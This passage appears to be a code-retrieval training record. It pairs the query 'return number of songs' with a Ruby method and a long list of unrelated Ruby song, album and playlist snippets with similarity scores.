song to the current artist's collection of songs if it already exists therein\n songs << song_title if !songs.detect{|song| song == song_title}\n\n\n #assigns the current artist to the song's 'artist' property (song belongs to artist)\n #does not assign the artist if the song already has an artist\n\n song_title.artist = self if song_title.artist == nil\n end", "def add_song(song)\n @songs.push(song)\n end", "def add_song(song_id)\n song = Song.find(song_id)\n\n raise ArgumentError.new(\"Song (id: #{song_id}) was not found for the given.\") if song.nil?\n raise ArgumentError.new(\"Song (id: #{song_id}) was already in the playlist.\") if @song_ids.include?(song_id)\n\n @song_ids << song_id\n @songs << song\n end", "def add_song(song_name)\n songs << song_name\n end", "def test_is_song_in_playlist__true\n @room1.add_song(@song1)\n assert_equal(true, @room1.is_song_in_playlist?(@song1.song_name))\n end", "def add_song(song)\n #associates a song to the artist's collection\n @songs << song\n song.artist = self\n end", "def add_song(song)\n self.songs << song\n new_song = Song.new(song)\n new_song.artist = self\n end", "def add_song_request(guest, song)\n found_guest = find_checked_in_guest_by_name(guest.name)\n found_guest.room.playlist << song\n end", "def add_song(song)\n song.artist = self\n @songs << song\n end", "def add_song(song)\n song.artist = self\n @songs << song\n end", "def add_song date, artist, title\n if known_time date\n trace \"Duplicate: %s\" % [date]\n return true\n end\n detail = lookup_song artist, title\n unless detail.nil?\n trace \"Known artist/song combo; reusing existing information\"\n detail[0] = date\n $songs << detail\n puts \"Added song #%d (%s by %s)\" % [$songs.size, title, artist]\n return true\n end\n song_num = build_song_info date, artist, title\n if song_num\n puts \"Added song #%d (%s by %s)\" % [song_num, title, artist]\n else\n raise\n end\n false\nend", "def add_song(song)\n @songs << song\nend", "def add_song(song)\n @song_list.push(song)\n end", "def unique_song?(song)\n @queue.each do |song_from_queue|\n if song_from_queue.url == song.url\n respond('I have this track loaded. Slap it with a `repeat` to play it more.')\n return false\n end\n end\n true\n end", "def album\r\n #prepare_new_album extracted for reuse from spec\r\n prepare_new_album unless @content\r\n end", "def add_artist_to_album!(album_object, artist_name)\n if ((!album_object.artist) || album_object.artist.name != artist_name)\n if(artist_object_blank?(artist_name))\n artist = create_artist_object_with_name!(artist_name)\n else\n artist = find_artist_object_by_name(artist_name)\n end\n\n album_object.artist_id = artist.id\n end\n end", "def add_song(song)\r\n @songs << song\r\n song.artist = self\r\n end", "def update\n respond_to do |format|\n if @song.update(song_params)\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n \n format.html { redirect_to @song, notice: 'Song was successfully updated.' }\n format.json { render :show, status: :ok, location: @song }\n else\n format.html { render :edit }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_song(song) #song = #<Song:0x007fc75eb94420 @genre=#<Genre:0x007fc75eb94498 @name=\"rap\", @songs=[]>, @name=\"99 Problems\">\n\n self.songs << song\n end", "def add_song(song)\n @@song_count += 1\n @songs << song\n song.artist = self #self refers to Artist\n\n end", "def add_song(song_instance)\n songs << song_instance\n end", "def add_song(song)\n @song = song\n @songs << song\n\n @@song_count = @@song_count + 1\n song.artist = self\n end", "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_song\n @song = Song.find_by_id(params[:song_id])\n @mix.add_song(@song)\n redirect_back(fallback_location: @mix)\n end", "def add_song(song)\n @@songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n song.artist = self #instead of @songs << song\n \n # - TEST -\n # hello = Song.new(\"Hello\")\n # adele.add_song(hello)\n # expect(adele.songs).to include(hello)\n # expect(hello.artist).to eq(adele) \n end", "def add_song(song) #=> we found out by looking at the test that the argument is a song instance\n # the following code tells the current artist calling the method what new song it has:\n self.songs << song\n # but the test is asking us for the inverse of this - instead of telling artist \n # about its songs, we need to tell song about its artist:\n song.artist = self\n # inside the Artist instance scope, Self refers to the artist object calling the add_song method\n end", "def add_a_song(song)\n @list_of_songs.push(song)\n end", "def add_song(song)\n song.artist= self\n @songs << song\n end", "def add_song(song)\n @songs << song\n song.artist = self\n\n end", "def add_song\n\t\tresponse.headers['Content-Type'] = 'text/javascript' # Tells Rails/Redis that content is JavaScript\n\t\troom = current_user.room\n\t\tnew_song_params = song_params\n\t\tnew_song_params[:added_by] = current_user.username\n\t\t# --- If this is the first song, set it as currently playing ---\n\t\tif room.songs.length == 0\n\t\t\tnew_song_params[:currently_playing] = true\n\t\tend\n\t\t# --- end ---\n\t\tcheck = Song.where(sc_ident: params[:song][:sc_ident])\n\t\tif check.length == 0\n\t\t\t@song = Song.create(new_song_params)\n\t\t\troom.songs << @song\n\t\t $redis.publish(\"add_song_#{room.id}\", {title: @song.title, added_by: @song.added_by, sc_ident: @song.sc_ident, album_art: @song.album_art}.to_json)\n\t\tend\n render nothing: true\n\tend", "def add_album(artist, album)\n post(:session, {:method => \"library.addAlbum\", :artist => artist, :album => album})\n end", "def add_song\n \t# add this song to the users personal list (history)\n new_song = Song.create(title: params[:title], video_id: params[:video_id], status: \"added to MusiQ!\")\n current_user.songs << new_song\n\n # add this song to the player queue (tracks)\n Track.create(title: params[:title], video_id: params[:video_id], user_id: current_user.id, status: 'waiting')\n redirect_to root_url\n end", "def add_song(x)\n \t@songs << x\n end", "def add_song(song)\n @songs << song #add songs by sheveling song into the @song instance\n song.artist = self #add artists name of the songs\n end", "def append(album)\r\n @internal_list.push(album)\r\n \r\n self\r\n end", "def album=(v)\n if @album != v\n @needs_commit = true\n @album = v\n end\n end", "def add_song_by_name(song_name)\n song = Song.new(song_name)\n song.artist = self\n @songs << song\n end", "def have_song(room, song)\n for track in room.get_song_list\n if track == song\n return song\n end\n end\n return \"Song not available.\"\n end", "def add_song_by_name(name)\nartist = Song.new(name)\nadd_song(artist)\nend", "def add_song_by_name(song_name)\n song = Song.new(song_name)\n @@songs << song\n song.artist = self\n end", "def test_add_song_to_room()\n @room1.add_song_to_playlist(@song1)\n assert_equal(1, @room1.playlist.length())\n end", "def album\n track && track.album\n end", "def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n end", "def add_song_by_name(name)\n song = Song.new(name)\n song.artist = self\n @songs << song\n @@song_count += 1\n end", "def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end", "def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end", "def add_song(song)\n @songs << song\n song.artist = self\nend", "def add_song(song,status)\n\tSong.create(song_name:song,status:status)\nend", "def add_new_song(new_song)\n @bar_songlist.push(new_song)\n end", "def add_song(song)\n song.artist = self #associate the song with this artist\n end", "def set_album\n if token = album_token\n @album = Album.find_or_create_by(token: token)\n else\n @album = Album.find_by(uuid: params[:id])\n end\n end", "def test_add_song_to_playlist()\n assert_equal(0, @room_1.playlist_count())\n @room_1.add_song_to_playlist(@song_1)\n assert_equal(1, @room_1.playlist_count())\n @room_1.add_song_to_playlist(@song_2)\n assert_equal(2, @room_1.playlist_count())\n end", "def add(play)\n\t\t\tif play == nil then return end\n\t\t\t# checks if the play is already int he array\n\t\t\tif play_exists?(play.id)\n\t\t\t\t#shoudl note number of non added games\n\t\t\t\tputs 'play already included'\n\t\t\t\treturn false\n\t\t\tend\n\t\t\t# if not\n\t\t\t@plays.push(play)\n\t\t\treturn true\n\t\tend", "def add_song_by_name(name)\n song = Song.new(name)\n add_song(song)\n \n # -TEST-\n # adele.add_song_by_name(\"Rolling in the Deep\")\n # expect(adele.songs.last.name).to eq(\"Rolling in the Deep\")\n # expect(adele.songs.last.artist).to eq(adele)\n end" ]
[ "0.77261865", "0.770823", "0.7705689", "0.7628999", "0.761904", "0.745631", "0.73995936", "0.73897594", "0.73682886", "0.7314805", "0.723767", "0.72290003", "0.71974516", "0.719194", "0.71371305", "0.70011723", "0.6996167", "0.6961045", "0.6906791", "0.6903963", "0.69006854", "0.68157905", "0.67944497", "0.67808634", "0.67723185", "0.6757804", "0.6757804", "0.6757804", "0.6757804", "0.6757804", "0.6757804", "0.67227197", "0.67147815", "0.67041075", "0.6627576", "0.66166186", "0.66120636", "0.65829015", "0.656991", "0.65561944", "0.6548656", "0.6527317", "0.6527317", "0.65172565", "0.6508496", "0.6506521", "0.6502363", "0.64868444", "0.6466357", "0.64654446", "0.6458895", "0.64525807", "0.6451696", "0.64474356", "0.6437217", "0.6434414", "0.64248675", "0.6418497", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.63919014", "0.6373942", "0.63559824", "0.6355676", "0.634556", "0.63395435", "0.6303315", "0.62899494", "0.628978", "0.6287208", "0.6277059", "0.6243468", "0.62386364", "0.6233552", "0.62010694", "0.61946523", "0.619417", "0.6192088", "0.6187141", "0.61851645", "0.6177154", "0.6167019", "0.6160943", "0.6156032", "0.6152886", "0.61418974", "0.61232096", "0.61229825", "0.61194265", "0.6108946", "0.6103296" ]
0.72177005
13
return number of songs
def number_of_songs() return songs.length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count_songs\n @songs.size\n end", "def song_count\n return @songs.count\n end", "def song_count\n self.lib.songs.count\n end", "def songs_count\n \t@songs.count\n end", "def song_count\n @song_count = 0 if @song_count.nil?\n @song_count\n end", "def songs_count\n value = 0\n packs.each do |pack|\n value += pack.songs.count\n end\n value += songs.count\n end", "def song_count\n self.songs.count\n end", "def song_count\n # @artist = self\n # @artist.songs.count\n self.songs.count\n end", "def size\n return @songs.length\n end", "def num_of_tracks\n\t\t@tracks.count\t \n\tend", "def playlist_count()\n return @playlist.length\n end", "def song_count=(value)\n @song_count = 0 if @song_count.nil?\n @song_count = value\n end", "def track_count\n return @tracks.length\n end", "def playlist_count\n return @playlists.length\n end", "def total_songs\r\n self.master_song_relationships.count + self.user_song_uploads.count\r\n end", "def track_count\n self.tracks.count\n end", "def audio_file_count\n @audio_file_list.length\n end", "def album_count\n return @albums.length\n end", "def get_available_num\n num = 1\n while @@songs.find { |s| s.num == num } do\n num += 1\n end\n\n num\n end", "def nbSongs(xml)\n nbSongs = 0\n xml.xpath(\"//TrackNumber\").each { |track| nbSongs = nbSongs + 1}\n return nbSongs\nend", "def number_of_albums()\n return albums.length\n end", "def number_of_albums()\n return albums.length\n end", "def user_song_uploads_total\r\n self.user_song_uploads.count\r\n end", "def item_count\n titles.size\n end", "def artist_count\n return @artists.length\n end", "def number_of_tracklists\n tracklists.size\n end", "def n_artists\n if ! @n_artists_found\n @n_artists_found = songs_found\n .group_by{ |s| s[IDX_ARTIST_ID] }\n .length\n end\n return @n_artists_found\n end", "def total_up_votes\r\n self.song_up_votes.size\r\n end", "def num_items\n backup_photo_albums.size\n end", "def artist_count\n self.artists.count\n end", "def count\r\n items.size\r\n end", "def games_played\n games.size\n end", "def games_played\n games.size\n end", "def playable_length\n playable.length\n end", "def media_object_count\n @media_object_count ||= MediaObject.where(\"collection_ssim\" => name).count\n end", "def get_total_games_played\n return games.size\n end", "def number_of_artists\n return @artists.length\n end", "def number_of_artists\n return @artists.length\n end", "def playlists_length\n self.lib.playlists.length\n end", "def item_count()\n @names.count\n end", "def get_total_games_played\n\t\treturn games.size\n\tend", "def played_count\n @ole.PlayedCount\n end", "def more_songs\n get_songs\n return @page_size && @songs.count == @page_size\n end", "def number_of_tracks(talks)\n @total_talks_time = Talk.computeTotalTime(talks)\n\n quotient = @total_talks_time / Track.maxTrackTime\n if @total_talks_time - (quotient * Track.maxTrackTime) >= Track.minTrackTime\n @number_of_tracks = quotient + 1\n else\n @number_of_tracks = quotient\n end\n end", "def count\n @deck.size\n end", "def volume_count\n return unless exists?\n Dir.glob(folder_pathname.join(\"**\")).count do |file|\n File.directory?(file)\n end\n end", "def item_count\n @items.length \n end", "def nr_of_chapters\n all_chapters.count\n end", "def count_media\n general_data['nb_media']\n end", "def count_items\n @items.size\n end", "def count\n @item_list.size\n end", "def artist_count\n @model.artists.count\n end", "def get_players_num\n\t\treturn @players.length\n\tend", "def games_played\n self.results.to_a.count\n end", "def count\n @cards.size\n end", "def count\n @cards.size\n end", "def total_shows\n self.shows.count\n end", "def count\n each.size\n end", "def size\n @mp3s.size\n end", "def get_noun_words_count\n @redis.llen(\"store:nouns\").to_i\n end", "def item_count\n @items.length\n end", "def count\r\n @pitches.size\r\n end", "def songs_by_album\n return @count_by_album if @count_by_album\n\n return get_base_relation(true, false)\n .group('albums.id')\n .order('albums.name')\n .pluck('albums.id' , 'albums.name' , 'count(*)')\n\n end", "def count\n @deck.count\n end", "def size\n @items.count\n end", "def size\n @items.count\n end", "def count\n @cards.count\n end", "def count\n @cards.length\n end", "def track_count\n @ole.TrackCount\n end", "def count\n @cards.length\n end", "def size\n @players.size\n end", "def count\n each.count\n end", "def size\n @count\n end", "def size\n @count\n end", "def item_count\n collection.length\n end", "def list(songs)\n i = 1\n songs.each do |song|\n puts \"#{i} #{song}\"\n i = i+1\n end\nend", "def count\n return cards.length \n end", "def stock_count(stock)\n return stock[:pets].length\nend", "def stock_count(petshop)\n return petshop[:pets].size()\n end", "def test_room_has_songs\n assert_equal(3,@room.songs.count)\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def count_item\n count = 0\n @g_net.each do |followers|\n count += 1 unless !followers or followers.empty?\n end\n count\n end", "def stock_count\n sql = \"SELECT * FROM cars\n WHERE shop_id = $1\"\n value = [@id]\n cars = SqlRunner.run(sql, value)\n result_array = cars.map{|car| Car.new(car)}\n count = result_array.count\n return count\n end", "def data_count\n @episodes.sum { |_, v| v.length }\n end", "def count \n puts \"Tu as scrappé #{@result_scrap.count} élémént(s)\"\n return @result_scrap.count\n end", "def master_song_relationships_total\r\n self.master_song_relationships.count\r\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def songs\n @songs\n end", "def count\n @cards.count\n end", "def count\n @cards.count\n end" ]
[ "0.9100902", "0.8900763", "0.8839719", "0.8760509", "0.864129", "0.8622001", "0.8511633", "0.8326866", "0.8177174", "0.7893799", "0.78913605", "0.7885858", "0.78348935", "0.7746643", "0.7649355", "0.7643667", "0.7553485", "0.7417125", "0.7372233", "0.73632646", "0.73380184", "0.73380184", "0.72753495", "0.7205768", "0.7197601", "0.71582603", "0.7093177", "0.7029915", "0.69812393", "0.68853116", "0.6883134", "0.6858068", "0.6858068", "0.67990667", "0.67664695", "0.6755559", "0.6716958", "0.6716958", "0.6687896", "0.6643121", "0.66416514", "0.6616641", "0.6615826", "0.6612327", "0.65953034", "0.6591805", "0.6564095", "0.6556695", "0.6553787", "0.65489763", "0.65474904", "0.6519036", "0.6518099", "0.650775", "0.6467633", "0.6467633", "0.64630336", "0.64439845", "0.64262235", "0.64246523", "0.6419318", "0.64060616", "0.6404793", "0.63945824", "0.63687646", "0.63687646", "0.6363899", "0.6358039", "0.635056", "0.634453", "0.6338788", "0.6327639", "0.6327549", "0.6327549", "0.63228387", "0.63196576", "0.6314878", "0.63076806", "0.63073635", "0.6307245", "0.6302036", "0.6302036", "0.6287391", "0.62819606", "0.6280138", "0.6277927", "0.6277254", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.62731826", "0.6271151", "0.6271151" ]
0.90332747
2
add album first check if album exists
def add_album(new_album) if @albums.include?(new_album) puts "The album has already been added" else @albums.push(new_album) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_album(new_album)\n @albums.include?(new_album) ? (puts \"The album has already been added\") : @albums.push(new_album)\n end", "def album\r\n #prepare_new_album extracted for reuse from spec\r\n prepare_new_album unless @content\r\n end", "def get_or_create_album(path, album_url: nil)\n folder_path = File.dirname(path).split('/').map(&:capitalize).join('/')\n album_name = File.basename(path).split(' ').map(&:capitalize).join(' ')\n album = nil\n\n folder = get_or_create_folder(folder_path)\n resp = get(folder[:albums_url])\n albums = get(folder[:albums_url])['Album'] if resp.key? 'Album'\n albums ||= []\n albums.each do |album_raw|\n next unless album_raw['Name'] == album_name\n album = album_parser(album_raw)\n end\n\n if album.nil?\n url = \"/api/v2/folder/user/#{@user}\"\n url += \"/#{folder_path}\" unless folder_path.empty?\n url += '!albums'\n album_url = album_name if album_url.nil?\n resp = post(url, Name: album_name,\n UrlName: album_url.tr(' ', '-').capitalize,\n Privacy: 'Unlisted',\n SmugSearchable: 'No',\n SortMethod: 'Date Taken',\n LargestSize: 'X4Large',\n SortDirection: 'Ascending',\n WorldSearchable: false,\n EXIF: false,\n Printable: false,\n Filenames: true)\n album_raw = resp['Album']\n album = album_parser(album_raw)\n end\n album\n end", "def set_album\n if token = album_token\n @album = Album.find_or_create_by(token: token)\n else\n @album = Album.find_by(uuid: params[:id])\n end\n end", "def add title, artist\n $albums.each do |album, status|\n # screen for duplicates\n if album[0].downcase == title.downcase\n puts \"You already have a song by that name.\"\n return nil\n end\n end\n album = [title, artist]\n $albums[album] = \"unplayed\"\n # artist = artist.gsub('\"', '')\n puts \"Added #{title} by #{artist.gsub('\"', '')}\"\n return album\nend", "def album\n\t\talbums == nil ? nil : albums.first\n\tend", "def album\n alb = super\n if alb.nil?\n alb = Album.new\n alb.title = \"Unknown Album\"\n end\n alb\n end", "def add_album(artist, album)\n post(:session, {:method => \"library.addAlbum\", :artist => artist, :album => album})\n end", "def add_track(track)\n raise \"Track already belongs to album '#{track.album}'.\" if track.album\n @tracks << track if !@tracks.include?(track)\n track._album = self\n end", "def create\n @album = Album.new(params[:album])\n respond_to do |format|\n if @user.albums << @album\n flash[:notice] = 'Album was successfully created.'\n format.html { redirect_to user_albums_path(@user) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_album\n @album = Album.includes(:photos, :shares).find(params[:id])\n end", "def album\n track && track.album\n end", "def album(albid)\n if File.exists?(path = _(albid))\n {:albid => albid, :name => albid, :path => cut_path(path)}\n else\n raise Error, \"No such album #{albid}\"\n end\n end", "def append(album)\r\n @internal_list.push(album)\r\n \r\n self\r\n end", "def album=(v)\n if @album != v\n @needs_commit = true\n @album = v\n end\n end", "def set_album\n begin\n @album = Album.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n render :json => {error: 'record not found'}, status: :not_found\n end\n end", "def addAlbum(name, length, genre, label, artist_id, price, stock)\n\n\t\tartist_name = $get.artistName(artist_id)\n\n\t\tif (artist_name[0])\n\t\t\turl = \"http://ws.audioscrobbler.com/2.0/?method=album.getinfo&artist=#{artist_name[0].gsub(' ','+')}&album=#{name.gsub(' ','+')}&api_key=8ea76991c5d4936f71710eb66b2e63ac\"\n\t\t\tresp = Net::HTTP.get_response(URI.parse(url)).body\n\t\t\tarr = Array.new\n\t\t\tdate = String.new\n\n\t\t\tdoc = Hpricot resp\n\n\t\t\t(doc/\"lfm\").each do |err|\n \t\t if err.attributes[\"status\"] == 'failed'\n \t\t arr << -3\n \t\t return arr\n \t end\n \t end\n\n\t\t\tarr[0] = getOrclStr((doc/\"lfm/album/wiki/summary\").inner_html.gsub(']]>','').gsub('<![CDATA[',''))\n\n\t\t\tif (arr[0]==nil || arr[0].length<5)\n\t\t\t\tarr[0] = \"N/A\"\n\t\t\tend\n\n\t\t\t(doc/\"lfm/album/image\").each do |r|\n\t\t\t\tif r.attributes[\"size\"] == 'large'\n\t\t\t\t\tarr[1] = r.inner_html\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tdate = (doc/\"lfm/album/releasedate\").inner_html\n\t\t\tif (date.length<5)\n\t\t\t\tarr[2] = -1\n\t\t\telse\n\t\t\t\ti=0\n\t\t\t\twhile i < date.length\n\t\t\t\t\tif date[i].chr == ','\n\t\t\t\t\t\tarr[2] = date[i-4, 4]\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\ti=i+1\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ti=3\n\t\t\t(doc/\"lfm/album/tracks/track/name\").each do |r|\n\t\t\t\tarr[i] = getOrclStr(r.inner_html)\n\t\t\t\ti=i+1\n\t\t\tend\n\n\t\t\tresult = Array.new\n\t\t\tresult = $manage.addAlbum(name, length, genre, label, artist_id, arr[0], arr[1], arr[2], price, stock)\n\n\t\t\tunless result.first == 0\n\t\t\t return result\n\t\t end\n\n\t\t\tsong_length = \"3:00\"\n\t\t\tsong_genre = \"Other\"\n\t\t\tsong_desc = \"N/A\"\n\n\t\t\ti = 3\t\t\n\t\t\twhile i < arr.length\t\t\t\n\t\t\t\tres = $manage.addSong(result[1].to_i, arr[i], song_length, genre, (i-2), artist_id, song_desc, arr[1], arr[2], '0.99', '-1')\n\n\t\t\t\tunless res == 0\n\t\t\t\t result[0] = -5\n\t\t\t\t $db.execute(\"rollback\")\n\t\t\t\t return result;\n\t\t\t end\n\n\t\t\t\ti=i+1\n\t\t\tend\n\t\telse\n\t\t result = Array.new\n\t\t result << -4\n\t\t\treturn result\n\t\tend\n\t\t$db.execute(\"commit\")\n\t\tresult\n\tend", "def add_song(song)\n if song.artist == nil #does not assign the song if the song already has an artist\n song.artist = self #assigns current artist to songs artist property\n else\n nil\n end\n if @songs.include?(song)\n nil\n else\n @songs << song #adds song, does not add the song if already exists\n end\n song\n end", "def amg_album(id, options={})\n perform_lookup('amgAlbumId', id, options)\n end", "def create\n @album = Album.new(album_params)\n if @album.save\n redirect_to albums_path\n else \n render 'new'\n end\n end", "def add_song(song)\n if(!songs.include?song)\n songs.add(song)\n end\n end", "def album_add_photo(photo_data, photo_file)\n \n if album \n album.add_or_update_photo(photo_data, photo_file) \n end\n\n end", "def add_artist_to_album!(album_object, artist_name)\n if ((!album_object.artist) || album_object.artist.name != artist_name)\n if(artist_object_blank?(artist_name))\n artist = create_artist_object_with_name!(artist_name)\n else\n artist = find_artist_object_by_name(artist_name)\n end\n\n album_object.artist_id = artist.id\n end\n end", "def add_song(song)\n return if Song.find_by_id(song).nil?\n songs << song\n end", "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def create\n @album = Album.new(album_params)\n\n not_blank_photos = @album.photos.select do |photo|\n ! photo.title.blank?\n end\n @album.photos = not_blank_photos\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render action: 'show', status: :created, location: @album }\n else\n format.html { render action: 'new' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def album\n @album ||= Album.includes(:images, :poster_image)\n .where(id: params[:id], user_id: user_id)\n .take || halt(404)\n\tend", "def create\n @album = current_user.albums.build(params[:album])\n if @album.save\n flash[:notice] = 'Album was successfully created.'\n redirect_to(album_pictures_path(@album))\n else\n render :action => \"new\"\n end\n end", "def set_album\n @album = Album.find_by(id: params[:id])\n end", "def find_album(artist,url_slug)\n logger.info \"in find album\"\n\t\tartist.albums.uniq.each do |album|\n\t\t\tif album.album_url_slug == url_slug\n\t\t\t\t@album = album\n\t\t\tend\n\t\tend\n\n\t\tlogger.info @album\n\tend", "def album(value)\n @ole.Album = value\n nil\n end", "def set_album\n @album = Pagealbum.find(params[:id]) rescue Pagealbum.new\n @images=[]\n end", "def album!(options = {})\n response = user.photos.createAlbum(:title => options[:name], :description => options[:message])\n Album.new(response, user)\n end", "def album!(options = {})\n response = user.photos.createAlbum(:title => options[:name], :description => options[:message])\n Album.new(response, user)\n end", "def album_unique?(album_object, artist_object)\n\n albums = self.albums.select{|album| album.artist.present?}\n non_nil_albums = albums.select{|album| album.artist.name == artist_object.name} << album_object.name\n non_nil_albums.length == non_nil_albums.uniq.length\n end", "def create\n @album = current_user.albums.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'El album a sido creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def album_name\n album ? album.name : ''\n end", "def create \n \n respond_to do |format|\n @photo_album = current_user.photo_albums.build(params[:photo_album])\n if @photo_album.save\n flash[:notice] = 'Новый альбом создан.'\n format.html {\n # if current_user.photo_albums.size > 1\n # redirect_to(@photo_album)\n # else\n redirect_to(new_photo_path)\n # end\n }\n format.xml { render :xml => @photo_album, :status => :created, :location => @photo_album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\tAlbum.create({\n\t\t\tname: params[:name]\n\t\t\t})\n\t\tredirect_to albums_path\n\tend", "def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end", "def create\n \t@album = Album.find(params[:album_id])\n \t@photo = @album.photos.create!(params[:photo])\n \tredirect_to @album, :notice => 'Photo created'\n end", "def create\n \n @album = @user.albums.new(params[:album])\n \n if @album.save\n flash[:notice] = 'User was successfully created.'\n if params[:album][:avatar].blank?\n redirect_to @album\n else\n \n render :action => 'cropping'\n end\n else\n render :action => 'new'\n end\n end", "def add_track(new_song)\n if AVAILABLE_SONGS.include?(new_song)\n @playlist << new_song\n else\n return false\n end\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def set_album\n @album = Album.find(params[:id])\n end", "def create\n @album = current_account.albums.new(params[:album])\n\n respond_to do |format|\n if @album.save\n flash[:notice] = 'album was successfully created.'\n format.html { redirect_to( :action => 'edit', :id => @album.id) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n redirect_to new_album_path, alert: \"You have to select at least one artist.\" and return if params[:album][:album_artists].size == 1 && params[:album][:album_artists][0].empty? # TODO: Find a better way to do this, it does not play nicely with json and xml\n @album = Album.new(album_params)\n album_artists\n album_cover if params[:search_online]\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n format.xml { render xml: @album, status: :created }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n format.xml { render xml: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_info\n UpcomingReleases::Album.all.each do |album|\n info = UpcomingReleases::Scraper.scrape_info_page(ALBUM_URL + album.info_url)\n album.add_album_info(info)\n end\n end", "def add_song(song)\n if self.songs.include?(song) == false\n @songs << song\n end\n\n if song.artist.nil? || song.artist == false\n song.artist = self\n end\n\n end", "def create\n @album = current_user.albums.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'You created a #Album. Now share your #album around the internets' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @Album.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n @album = Album.find( params[:album_id].to_i)\n end", "def 